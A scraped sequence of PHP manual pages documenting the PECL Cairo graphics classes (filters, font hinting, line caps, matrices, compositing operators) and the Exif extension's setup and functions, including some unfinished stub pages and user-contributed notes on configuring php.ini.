The highest-quality available, performance may not be suitable for interactive use.

CairoFilter::NEAREST

Nearest-neighbor filtering

CairoFilter::BILINEAR

Linear interpolation in two dimensions

CairoFilter::GAUSSIAN

This filter value is currently unimplemented, and should not be used in current code.

User Contributed Notes

There are no user contributed notes for this page.
CairoFillRule
CairoHintMetrics
Cairo


The CairoHintMetrics class

(No version information available, might only be in SVN)

Introduction

Specifies whether to hint font metrics; hinting font metrics means quantizing them so that they are integer values in device space. Doing this improves the consistency of letter and line spacing, however it also means that text will be laid out differently at different zoom factors.

Class synopsis

CairoHintMetrics {
/* Constants */
const integer METRICS_DEFAULT = 0 ;
const integer METRICS_OFF = 1 ;
const integer METRICS_ON = 2 ;
}

Predefined Constants

CairoHintMetrics::METRICS_DEFAULT

Hint metrics in the default manner for the font backend and target device

CairoHintMetrics::METRICS_OFF

Do not hint font metrics

CairoHintMetrics::METRICS_ON

Hint font metrics

User Contributed Notes

There are no user contributed notes for this page.
CairoFilter
CairoHintStyle
Cairo


The CairoHintStyle class

(No version information available, might only be in SVN)

Introduction

Specifies the type of hinting to do on font outlines. Hinting is the process of fitting outlines to the pixel grid in order to improve the appearance of the result. Since hinting outlines involves distorting them, it also reduces the faithfulness to the original outline shapes. Not all of the outline hinting styles are supported by all font backends.

Class synopsis

CairoHintStyle {
/* Constants */
const integer STYLE_DEFAULT = 0 ;
const integer STYLE_NONE = 1 ;
const integer STYLE_SLIGHT = 2 ;
const integer STYLE_MEDIUM = 3 ;
const integer STYLE_FULL = 4 ;
}

Predefined Constants

CairoHintStyle::STYLE_DEFAULT

Use the default hint style for font backend and target device

CairoHintStyle::STYLE_NONE

Do not hint outlines

CairoHintStyle::STYLE_SLIGHT

Hint outlines slightly to improve contrast while retaining good fidelity to the original shapes.

CairoHintStyle::STYLE_MEDIUM

Hint outlines with medium strength giving a compromise between fidelity to the original shapes and contrast

CairoHintStyle::STYLE_FULL

Hint outlines to maximize contrast

User Contributed Notes

There are no user contributed notes for this page.
CairoHintMetrics
CairoLineCap
Cairo


The CairoLineCap class

(No version information available, might only be in SVN)

Introduction

Specifies how to render the endpoints of the path when stroking.

The default line cap style is CairoLineCap::BUTT.

Class synopsis

CairoLineCap {
/* Constants */
const integer BUTT = 0 ;
const integer ROUND = 1 ;
const integer SQUARE = 2 ;
}

Predefined Constants

CairoLineCap::BUTT

Start(stop) the line exactly at the start(end) point

CairoLineCap::ROUND

Use a round ending, the center of the circle is the end point

CairoLineCap::SQUARE

Use squared ending, the center of the square is the end point

User Contributed Notes

There are no user contributed notes for this page.
CairoHintStyle
CairoLineJoin
Cairo


The CairoLineJoin class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoLineJoin {
/* Constants */
const integer MITER = 0 ;
const integer ROUND = 1 ;
const integer BEVEL = 2 ;
}

Predefined Constants

CairoLineJoin::MITER

Description here...

CairoLineJoin::ROUND

Description here...

CairoLineJoin::BEVEL

Description here...

User Contributed Notes

There are no user contributed notes for this page.
CairoLineCap
CairoMatrix
Cairo


The CairoMatrix class

(No version information available, might only be in SVN)

Introduction

Matrices are used throughout cairo to convert between different coordinate spaces.

Class synopsis

CairoMatrix {
/* Methods */
public __construct ([ float $xx = 1.0 [, float $yx = 0.0 [, float $xy = 0.0 [, float $yy = 1.0 [, float $x0 = 0.0 [, float $y0 = 0.0 ]]]]]] )
public static void initIdentity ( void )
public static void initRotate ( float $radians )
public static void initScale ( float $sx , float $sy )
public static void initTranslate ( float $tx , float $ty )
public void invert ( void )
public static CairoMatrix multiply ( CairoMatrix $matrix1 , CairoMatrix $matrix2 )
public void rotate ( string $sx , string $sy )
public void scale ( float $sx , float $sy )
public array transformDistance ( string $dx , string $dy )
public array transformPoint ( string $dx , string $dy )
public void translate ( string $tx , string $ty )
}

Table of Contents

  • CairoMatrix::__construct — Creates a new CairoMatrix object
  • CairoMatrix::initIdentity — Creates a new identity matrix
  • CairoMatrix::initRotate — Creates a new rotated matrix
  • CairoMatrix::initScale — Creates a new scaling matrix
  • CairoMatrix::initTranslate — Creates a new translation matrix
  • CairoMatrix::invert — The invert purpose
  • CairoMatrix::multiply — The multiply purpose
  • CairoMatrix::rotate — The rotate purpose
  • CairoMatrix::scale — Applies scaling to a matrix
  • CairoMatrix::transformDistance — The transformDistance purpose
  • CairoMatrix::transformPoint — The transformPoint purpose
  • CairoMatrix::translate — The translate purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoLineJoin
CairoMatrix::__construct
Cairo


Creates a new CairoMatrix object

CairoMatrix
CairoMatrix::initIdentity
CairoMatrix
PHP Manual

CairoMatrix::__construct

cairo_matrix_init

(PECL cairo >= 0.1.0)

CairoMatrix::__construct -- cairo_matrix_init — Creates a new CairoMatrix object

Description

Object oriented style (method):

public CairoMatrix::__construct ([ float $xx = 1.0 [, float $yx = 0.0 [, float $xy = 0.0 [, float $yy = 1.0 [, float $x0 = 0.0 [, float $y0 = 0.0 ]]]]]] )

Procedural style:

object cairo_matrix_init ([ float $xx = 1.0 [, float $yx = 0.0 [, float $xy = 0.0 [, float $yy = 1.0 [, float $x0 = 0.0 [, float $y0 = 0.0 ]]]]]] )

Returns new CairoMatrix object. Matrices are used throughout cairo to convert between different coordinate spaces. Sets matrix to be the affine transformation given by xx, yx, xy, yy, x0, y0. The transformation is given by: x_new = xx * x + xy * y + x0; and y_new = yx * x + yy * y + y0;

Parameters

xx

xx component of the affine transformation

yx

yx component of the affine transformation

xy

xy component of the affine transformation

yy

yy component of the affine transformation

x0

X translation component of the affine transformation

y0

Y translation component of the affine transformation

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = new CairoMatrix(1.0, 0.5, 0.0, 1.0, 0.0, 0.0);
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init(1.0, 0.5, 0.0, 1.0, 0.0, 0.0);
?>

See Also

  • CairoMatrix::initIdentity() - Creates a new identity matrix
  • CairoMatrix::initRotate() - Creates a new rotated matrix
  • CairoMatrix::initScale() - Creates a new scaling matrix
  • CairoMatrix::initTranslate() - Creates a new translation matrix

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix
CairoMatrix::initIdentity
CairoMatrix


Creates a new identity matrix

CairoMatrix::__construct
CairoMatrix::initRotate
CairoMatrix
PHP Manual

CairoMatrix::initIdentity

cairo_matrix_init_identity

(PECL cairo >= 0.1.0)

CairoMatrix::initIdentity -- cairo_matrix_init_identity — Creates a new identity matrix

Description

Object oriented style (method):

public static void CairoMatrix::initIdentity ( void )

Procedural style:

object cairo_matrix_init_identity ( void )

Creates a new matrix that is an identity transformation. An identity transformation means the source data is copied into the destination data without change

Parameters

This function has no parameters.

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = CairoMatrix::initIdentity();
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init_identity();
?>

See Also

  • CairoMatrix::__construct() - Creates a new CairoMatrix object
  • CairoMatrix::initRotate() - Creates a new rotated matrix
  • CairoMatrix::initScale() - Creates a new scaling matrix
  • CairoMatrix::initTranslate() - Creates a new translation matrix

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::__construct
CairoMatrix::initRotate
CairoMatrix


Creates a new rotated matrix

CairoMatrix::initIdentity
CairoMatrix::initScale
CairoMatrix
PHP Manual

CairoMatrix::initRotate

cairo_matrix_init_rotate

(PECL cairo >= 0.1.0)

CairoMatrix::initRotate -- cairo_matrix_init_rotate — Creates a new rotated matrix

Description

Object oriented style (method):

public static void CairoMatrix::initRotate ( float $radians )

Procedural style:

object cairo_matrix_init_rotate ( float $radians )

Creats a new matrix to a transformation that rotates by radians provided

Parameters

radians

angle of rotation, in radians. The direction of rotation is defined such that positive angles rotate in the direction from the positive X axis toward the positive Y axis. With the default axis orientation of cairo, positive angles rotate in a clockwise direction.

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = CairoMatrix::initRotate(0.3);
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init_rotate(0.3);
?>

See Also

  • CairoMatrix::__construct() - Creates a new CairoMatrix object
  • CairoMatrix::initIdentity() - Creates a new identity matrix
  • CairoMatrix::initScale() - Creates a new scaling matrix
  • CairoMatrix::initTranslate() - Creates a new translation matrix

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::initIdentity
CairoMatrix::initScale
CairoMatrix


Creates a new scaling matrix

CairoMatrix::initRotate
CairoMatrix::initTranslate
CairoMatrix
PHP Manual

CairoMatrix::initScale

cairo_matrix_init_scale

cairo_matrix_create_scale

(PECL cairo >= 0.1.0)

CairoMatrix::initScale -- cairo_matrix_init_scale -- cairo_matrix_create_scale — Creates a new scaling matrix

Description

Object oriented style (method):

public static void CairoMatrix::initScale ( float $sx , float $sy )

Procedural style:

object cairo_matrix_init_scale ( float $sx , float $sy )

Creates a new matrix to a transformation that scales by sx and sy in the X and Y dimensions, respectively.

Parameters

sx

scale factor in the X direction

sy

scale factor in the Y direction

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = CairoMatrix::initScale(1.0, 2.0);
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init_scale(1.0, 2.0);
?>

See Also

  • CairoMatrix::__construct() - Creates a new CairoMatrix object
  • CairoMatrix::initIdentity() - Creates a new identity matrix
  • CairoMatrix::initRotate() - Creates a new rotated matrix
  • CairoMatrix::initTranslate() - Creates a new translation matrix

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::initRotate
CairoMatrix::initTranslate
CairoMatrix


Creates a new translation matrix

CairoMatrix::initScale
CairoMatrix::invert
CairoMatrix
PHP Manual

CairoMatrix::initTranslate

cairo_matrix_init_translate

(PECL cairo >= 0.1.0)

CairoMatrix::initTranslate -- cairo_matrix_init_translate — Creates a new translation matrix

Description

Object oriented style (method):

public static void CairoMatrix::initTranslate ( float $tx , float $ty )

Procedural style:

object cairo_matrix_init_translate ( float $tx , float $ty )

Creates a new matrix to a transformation that translates by tx and ty in the X and Y dimensions, respectively.

Parameters

tx

amount to translate in the X direction

ty

amount to translate in the Y direction

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = CairoMatrix::initTranslate(1.0, 2.0);
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init_translate(1.0, 2.0);
?>

See Also

  • CairoMatrix::__construct() - Creates a new CairoMatrix object
  • CairoMatrix::initIdentity() - Creates a new identity matrix
  • CairoMatrix::initRotate() - Creates a new rotated matrix
  • CairoMatrix::initScale() - Creates a new scaling matrix

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::initScale
CairoMatrix::invert
CairoMatrix


The invert purpose

CairoMatrix::initTranslate
CairoMatrix::multiply
CairoMatrix
PHP Manual

CairoMatrix::invert

(PECL cairo >= 0.1.0)

CairoMatrix::invert — The invert purpose

Description

public void CairoMatrix::invert ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoMatrix::invert() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::initTranslate
CairoMatrix::multiply
CairoMatrix


The multiply purpose

CairoMatrix::invert
CairoMatrix::rotate
CairoMatrix
PHP Manual

CairoMatrix::multiply

(PECL cairo >= 0.1.0)

CairoMatrix::multiply — The multiply purpose

Description

public static CairoMatrix CairoMatrix::multiply ( CairoMatrix $matrix1 , CairoMatrix $matrix2 )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix1

Description...

matrix2

Description...

Return Values

Description...

Examples

Example #1 CairoMatrix::multiply() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::invert
CairoMatrix::rotate
CairoMatrix


The rotate purpose

CairoMatrix::multiply
CairoMatrix::scale
CairoMatrix
PHP Manual

CairoMatrix::rotate

cairo_rotate

(PECL cairo >= 0.1.0)

CairoMatrix::rotate -- cairo_rotate — The rotate purpose

Description

Object oriented style (method):

public void CairoMatrix::rotate ( string $sx , string $sy )

Procedural style:

void cairo_rotate ( CairoContext $context , string $angle )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

angle

Description...

sx

Description...

sy

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::multiply
CairoMatrix::scale
CairoMatrix


Applies scaling to a matrix

CairoMatrix::rotate
CairoMatrix::transformDistance
CairoMatrix
PHP Manual

CairoMatrix::scale

cairo_matrix_scale

(PECL cairo >= 0.1.0)

CairoMatrix::scale -- cairo_matrix_scale — Applies scaling to a matrix

Description

Object oriented style (method):

public void CairoMatrix::scale ( float $sx , float $sy )

Procedural style:

void cairo_matrix_scale ( CairoContext $context , float $sx , float $sy )

Applies scaling by sx, sy to the transformation in the matrix. The effect of the new transformation is to first scale the coordinates by sx and sy, then apply the original transformation to the coordinates.

Parameters

matrix

Procedural only - CairoMatrix instance

sx

scale factor in the X direction

sy

scale factor in the Y direction

Examples

Example #1 Object oriented style

<?php
/* Apply scaling to a matrix */
$matrix = new CairoMatrix(1.0, 0.5, 0.0, 1.0, 0.0, 0.0);
$matrix->scale(0.2, 2.0);
?>

Example #2 Procedural style

<?php
/* Apply scaling to a matrix */
$matrix = cairo_matrix_init(1.0, 0.5, 0.0, 1.0, 0.0, 0.0);
cairo_matrix_scale($matrix, 0.2, 2.0);
?>

See Also

  • CairoMatrix::initScale() - Creates a new scaling matrix

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::rotate
CairoMatrix::transformDistance
CairoMatrix


The transformDistance purpose

CairoMatrix::scale
CairoMatrix::transformPoint
CairoMatrix
PHP Manual

CairoMatrix::transformDistance

(PECL cairo >= 0.1.0)

CairoMatrix::transformDistance — The transformDistance purpose

Description

public array CairoMatrix::transformDistance ( string $dx , string $dy )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

dx

Description...

dy

Description...

Return Values

Description...

Examples

Example #1 CairoMatrix::transformDistance() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::scale
CairoMatrix::transformPoint
CairoMatrix


The transformPoint purpose

CairoMatrix::transformDistance
CairoMatrix::translate
CairoMatrix
PHP Manual

CairoMatrix::transformPoint

(PECL cairo >= 0.1.0)

CairoMatrix::transformPoint — The transformPoint purpose

Description

public array CairoMatrix::transformPoint ( string $dx , string $dy )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

dx

Description...

dy

Description...

Return Values

Description...

Examples

Example #1 CairoMatrix::transformPoint() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::transformDistance
CairoMatrix::translate
CairoMatrix


The translate purpose

CairoMatrix::transformPoint
CairoOperator
CairoMatrix
PHP Manual

CairoMatrix::translate

cairo_translate

(PECL cairo >= 0.1.0)

CairoMatrix::translate -- cairo_translate — The translate purpose

Description

Object oriented style (method):

public void CairoMatrix::translate ( string $tx , string $ty )

Procedural style:

void cairo_translate ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

tx

Description...

ty

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::transformPoint
CairoOperator
CairoMatrix


The CairoOperator class

(No version information available, might only be in SVN)

Introduction

This is used to set the compositing operator for all cairo drawing operations.

The default operator is CairoOperator::OVER

The operators marked as unbounded modify their destination even outside of the mask layer (that is, their effect is not bound by the mask layer). However, their effect can still be limited by way of clipping.

To keep things simple, the operator descriptions here document the behavior for when both source and destination are either fully transparent or fully opaque. The actual implementation works for translucent layers too. For a more detailed explanation of the effects of each operator, including the mathematical definitions, see http://cairographics.org/operators/.

Class synopsis

CairoOperator {
/* Constants */
const integer CLEAR = 0 ;
const integer SOURCE = 1 ;
const integer OVER = 2 ;
const integer IN = 3 ;
const integer OUT = 4 ;
const integer ATOP = 5 ;
const integer DEST = 6 ;
const integer DEST_OVER = 7 ;
const integer DEST_IN = 8 ;
const integer DEST_OUT = 9 ;
const integer DEST_ATOP = 10 ;
const integer XOR = 11 ;
const integer ADD = 12 ;
const integer SATURATE = 13 ;
}

Predefined Constants

CairoOperator::CLEAR

Clear destination layer (bounded)

CairoOperator::SOURCE

Replace destination layer (bounded)

CairoOperator::OVER

Draw source layer on top of destination layer (bounded)

CairoOperator::IN

Draw source where there was destination content (unbounded)

CairoOperator::OUT

Draw source where there was no destination content (unbounded)

CairoOperator::ATOP

Draw source on top of destination content and only there

CairoOperator::DEST

Ignore the source

CairoOperator::DEST_OVER

Draw destination on top of source

CairoOperator::DEST_IN

Leave destination only where there was source content (unbounded)

CairoOperator::DEST_OUT

Leave destination only where there was no source content

CairoOperator::DEST_ATOP

Leave destination on top of source content and only there (unbounded)

CairoOperator::XOR

Source and destination are shown where there is only one of them

CairoOperator::ADD

Source and destination layers are accumulated

CairoOperator::SATURATE

Like CairoOperator::OVER, but assuming source and dest are disjoint geometries

User Contributed Notes

There are no user contributed notes for this page.
CairoMatrix::translate
CairoPath
Cairo


The CairoPath class

(No version information available, might only be in SVN)

Introduction

Note: CairoPath class cannot be instantiated directly, doing so will result in Fatal Error if used or passed

Class synopsis

CairoPath {
}

User Contributed Notes

There are no user contributed notes for this page.
CairoOperator
CairoPsLevel
Cairo


The CairoPsLevel class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoPsLevel {
/* Constants */
const integer LEVEL_2 = 0 ;
const integer LEVEL_3 = 1 ;
}

Predefined Constants

CairoPsLevel::LEVEL_2

Description here...

CairoPsLevel::LEVEL_3

Description here...

User Contributed Notes

There are no user contributed notes for this page.
CairoPath
CairoSubpixelOrder
Cairo


The CairoSubpixelOrder class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoSubpixelOrder {
/* Constants */
const integer ORDER_DEFAULT = 0 ;
const integer ORDER_RGB = 1 ;
const integer ORDER_BGR = 2 ;
const integer ORDER_VRGB = 3 ;
const integer ORDER_VBGR = 4 ;
}

Predefined Constants

CairoSubpixelOrder::ORDER_DEFAULT

Description here...

CairoSubpixelOrder::ORDER_RGB

Description here...

CairoSubpixelOrder::ORDER_BGR

Description here...

CairoSubpixelOrder::ORDER_VRGB

Description here...

CairoSubpixelOrder::ORDER_VBGR

Description here...

User Contributed Notes

There are no user contributed notes for this page.
CairoPsLevel
CairoSvgVersion
Cairo


The CairoSvgVersion class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoSvgVersion {
/* Constants */
const integer VERSION_1_1 = 0 ;
const integer VERSION_1_2 = 1 ;
}

Predefined Constants

CairoSvgVersion::VERSION_1_1

Description here...

CairoSvgVersion::VERSION_1_2

Description here...

User Contributed Notes

There are no user contributed notes for this page.
CairoSubpixelOrder
Exif
Cairo


Exchangeable image information

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Exif Functions
    • exif_imagetype — Determine the type of an image
    • exif_read_data — Reads the EXIF headers from JPEG or TIFF
    • exif_tagname — Get the header name for an index
    • exif_thumbnail — Retrieve the embedded thumbnail of a TIFF or JPEG image
    • read_exif_data — Alias of exif_read_data

User Contributed Notes

There are no user contributed notes for this page.
CairoSvgVersion
Introduction
Image Processing and Generation


Introduction

With the exif extension you are able to work with image meta data. For example, you may use exif functions to read meta data of pictures taken from digital cameras by working with information stored in the headers of the JPEG and TIFF images.

User Contributed Notes

There are no user contributed notes for this page.
Exif
Installing/Configuring
Exif


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Exif


Requirements

Your PHP must be compiled in with --enable-exif. PHP does not require any additional library for the exif module. Windows users must also have the mbstring extension enabled.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

To enable exif-support configure PHP with --enable-exif

Windows users must enable both the php_mbstring.dll and php_exif.dll DLL's in php.ini. The php_mbstring.dll DLL must be loaded before the php_exif.dll DLL so adjust your php.ini accordingly.

User Contributed Notes

Barnamah 12-May-2009 07:41
the order of the .dll file name in php.ini file are very impartan.
like this:
extension=php_mbstring.dll
extension=php_exif.dll

php_mbstring.dll file must be before php_exif.dll in Windows.
I did not work untill I changed the order.

<?php
// Get the exif data
$exif_data = exif_read_data( 'sample_images/_IGP8499.JPG' );
echo '<pre>';
print_r($exif_data);
echo '</pre>';
?>
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Exif supports automatically conversion for Unicode and JIS character encodings of user comments when module mbstring is available. This is done by first decoding the comment using the specified characterset. The result is then encoded with another characterset which should match your HTTP output.

Exif configuration options
Name | Default | Changeable | Changelog
exif.encode_unicode | "ISO-8859-15" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.decode_unicode_motorola | "UCS-2BE" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.decode_unicode_intel | "UCS-2LE" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.encode_jis | "" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.decode_jis_motorola | "JIS" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.decode_jis_intel | "JIS" | PHP_INI_ALL | Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

exif.encode_unicode string

exif.encode_unicode defines the characterset UNICODE user comments are handled. This defaults to ISO-8859-15 which should work for most non Asian countries. The setting can be empty or must be an encoding supported by mbstring. If it is empty the current internal encoding of mbstring is used.

exif.decode_unicode_motorola string

exif.decode_unicode_motorola defines the image internal characterset for Unicode encoded user comments if image is in motorola byte order (big-endian). This setting cannot be empty but you can specify a list of encodings supported by mbstring. The default is UCS-2BE.

exif.decode_unicode_intel string

exif.decode_unicode_intel defines the image internal characterset for Unicode encoded user comments if image is in intel byte order (little-endian). This setting cannot be empty but you can specify a list of encodings supported by mbstring. The default is UCS-2LE.

exif.encode_jis string

exif.encode_jis defines the characterset JIS user comments are handled. This defaults to an empty value which forces the functions to use the current internal encoding of mbstring.

exif.decode_jis_motorola string

exif.decode_jis_motorola defines the image internal characterset for JIS encoded user comments if image is in motorola byte order (big-endian). This setting cannot be empty but you can specify a list of encodings supported by mbstring. The default is JIS.

exif.decode_jis_intel string

exif.decode_jis_intel defines the image internal characterset for JIS encoded user comments if image is in intel byte order (little-endian). This setting cannot be empty but you can specify a list of encodings supported by mbstring. The default is JIS.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

EXIF_USE_MBSTRING (integer)

The exif_imagetype() lists several related built-in constants.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Exif Functions
Exif


Exif Functions

Table of Contents

  • exif_imagetype — Determine the type of an image
  • exif_read_data — Reads the EXIF headers from JPEG or TIFF
  • exif_tagname — Get the header name for an index
  • exif_thumbnail — Retrieve the embedded thumbnail of a TIFF or JPEG image
  • read_exif_data — Alias of exif_read_data

User Contributed Notes

phedberg at gmail dot com 19-Jun-2007 01:22
Mbstring must be loaded before exif. PHP setup program put them in the wrong order in the ini file and I couldn't use exif at all. Had to switch order in the ini file for it to work.
webmaster at robert-beran dot de 30-Nov-2006 02:07
here the link to my exif data remover function:

http://robert-beran.de/dl.php?id=4

its written in php so you can use it to remove jpg exif data in your php projects.

greetz
Robert
23-Dec-2004 02:55
exif.encode_unicode  string

    exif.encode_unicode defines the characterset UNICODE user comments are handled. This defaults to ISO-8859-15 which should work for most non Asian countries. The setting can be empty or must be an encoding supported by mbstring. If it is empty the current internal encoding of mbstring is used.

How come ISO-8859-15 works for most non-Asian countries? It's only for West European and does NOT work for Russian, Greek, Albanian, Polish, Czech, and so forth. The default should be 'UTF-8'
Predefined Constants
exif_imagetype
Exif


Determine the type of an image

Exif Functions
exif_read_data
Exif Functions
PHP Manual

exif_imagetype

(PHP 4 >= 4.3.0, PHP 5)

exif_imagetype — Determine the type of an image

Description

int exif_imagetype ( string $filename )

exif_imagetype() reads the first bytes of an image and checks its signature.

exif_imagetype() can be used to avoid calls to other exif functions with unsupported file types or in conjunction with $_SERVER['HTTP_ACCEPT'] to check whether or not the viewer is able to see a specific image in the browser.

Parameters

filename
The image being checked.

Return Values

When a correct signature is found, the appropriate constant value will be returned otherwise the return value is FALSE. The return value is the same value that getimagesize() returns in index 2 but exif_imagetype() is much faster.

Changelog

Version | Description
5.3.0 | Added icon support.
4.3.2 | Support for JPC, JP2, JPX, JB2, XBM, and WBMP
4.3.0 | Support for SWC

Predefined Constants

The following constants are defined, and represent possible exif_imagetype() return values:

Imagetype Constants
Value | Constant
1 | IMAGETYPE_GIF
2 | IMAGETYPE_JPEG
3 | IMAGETYPE_PNG
4 | IMAGETYPE_SWF
5 | IMAGETYPE_PSD
6 | IMAGETYPE_BMP
7 | IMAGETYPE_TIFF_II (intel byte order)
8 | IMAGETYPE_TIFF_MM (motorola byte order)
9 | IMAGETYPE_JPC
10 | IMAGETYPE_JP2
11 | IMAGETYPE_JPX
12 | IMAGETYPE_JB2
13 | IMAGETYPE_SWC
14 | IMAGETYPE_IFF
15 | IMAGETYPE_WBMP
16 | IMAGETYPE_XBM
17 | IMAGETYPE_ICO

Examples

Example #1 exif_imagetype() example

<?php
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
    echo 'The picture is not a gif';
}
?>

See Also

  • image_type_to_mime_type() - Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • getimagesize() - Get the size of an image

User Contributed Notes

admin at leonard !spam challis dot com 03-Nov-2010 08:02
Windows users: If you get the fatal error "Fatal error:  Call to undefined function exif_imagetype()", and you have enabled php_exif.dll, make sure you enable php_mbstring.dll. You must put mbstring before exif in the php.ini, i.e.:

extension=php_mbstring.dll
extension=php_exif.dll

You can check whether this has worked by calling phpinfo() and searching for exif.
tom dot ghyselinck at telenet dot be 13-Jan-2008 01:36
If the function exif_imagetype() is not available,
you can try the following workaround:

if ( ! function_exists( 'exif_imagetype' ) ) {
    function exif_imagetype ( $filename ) {
        if ( ( list($width, $height, $type, $attr) = getimagesize( $filename ) ) !== false ) {
            return $type;
        }
    return false;
    }
}
Tim 19-Nov-2007 08:40
By trial and error, it seems that a file has to be 12 bytes or larger in order to avoid a "Read error!".  Here's a work-around to avoid an error being thrown:

// exif_imagetype throws "Read error!" if file is too small
if (filesize($uploadfile) > 11)
    $mimetype = exif_imagetype($uploadfile);
else
    $mimetype = false;
09-Nov-2006 04:43
Seems to give a 'Read error' warning if the size of the file is very small (2 bytes). I think this is because it needs a min 3 bytes to determine the file type
tom at tomvergote dot be 07-Feb-2004 02:11
libexif can also be used to parse image info out of id3 tags:

exif_read_data("mp3_with_2.4ID3TAGS, '', true, false);
tilmauder at yahoo dot com 05-Jul-2003 04:57
After looking for hours, I found a very good source for exif related programs here: http://drewnoakes.com/code/exif/index.html
It lists exif specifications (pdf), a few good links to exif related stuff. The best source I have found in my quest to understand exif better for use in php based exif tools.
Exif Functions
exif_read_data
Exif Functions


Reads the EXIF headers from JPEG or TIFF

exif_imagetype
exif_tagname
Exif Functions
PHP Manual

exif_read_data

(PHP 4 >= 4.2.0, PHP 5)

exif_read_data — Reads the EXIF headers from JPEG or TIFF

Description

array exif_read_data ( string $filename [, string $sections = NULL [, bool $arrays = false [, bool $thumbnail = false ]]] )

exif_read_data() reads the EXIF headers from a JPEG or TIFF image file. This way you can read meta data generated by digital cameras.

EXIF headers tend to be present in JPEG/TIFF images generated by digital cameras, but unfortunately each digital camera maker has a different idea of how to actually tag their images, so you can't always rely on a specific Exif header being present.

Height and Width are computed the same way getimagesize() does so their values must not be part of any header returned. Also, html is a height/width text string to be used inside normal HTML.

When an Exif header contains a Copyright note, this itself can contain two values. As the solution is inconsistent in the Exif 2.10 standard, the COMPUTED section will return both entries Copyright.Photographer and Copyright.Editor while the IFD0 sections contains the byte array with the NULL character that splits both entries. Or just the first entry if the datatype was wrong (normal behaviour of Exif). The COMPUTED will also contain the entry Copyright which is either the original copyright string, or a comma separated list of the photo and editor copyright.

The tag UserComment has the same problem as the Copyright tag. It can store two values. First the encoding used, and second the value itself. If so the IFD section only contains the encoding or a byte array. The COMPUTED section will store both in the entries UserCommentEncoding and UserComment. The entry UserComment is available in both cases so it should be used in preference to the value in IFD0 section.

exif_read_data() also validates EXIF data tags according to the EXIF specification (» http://exif.org/Exif2-2.PDF, page 20).

Note:

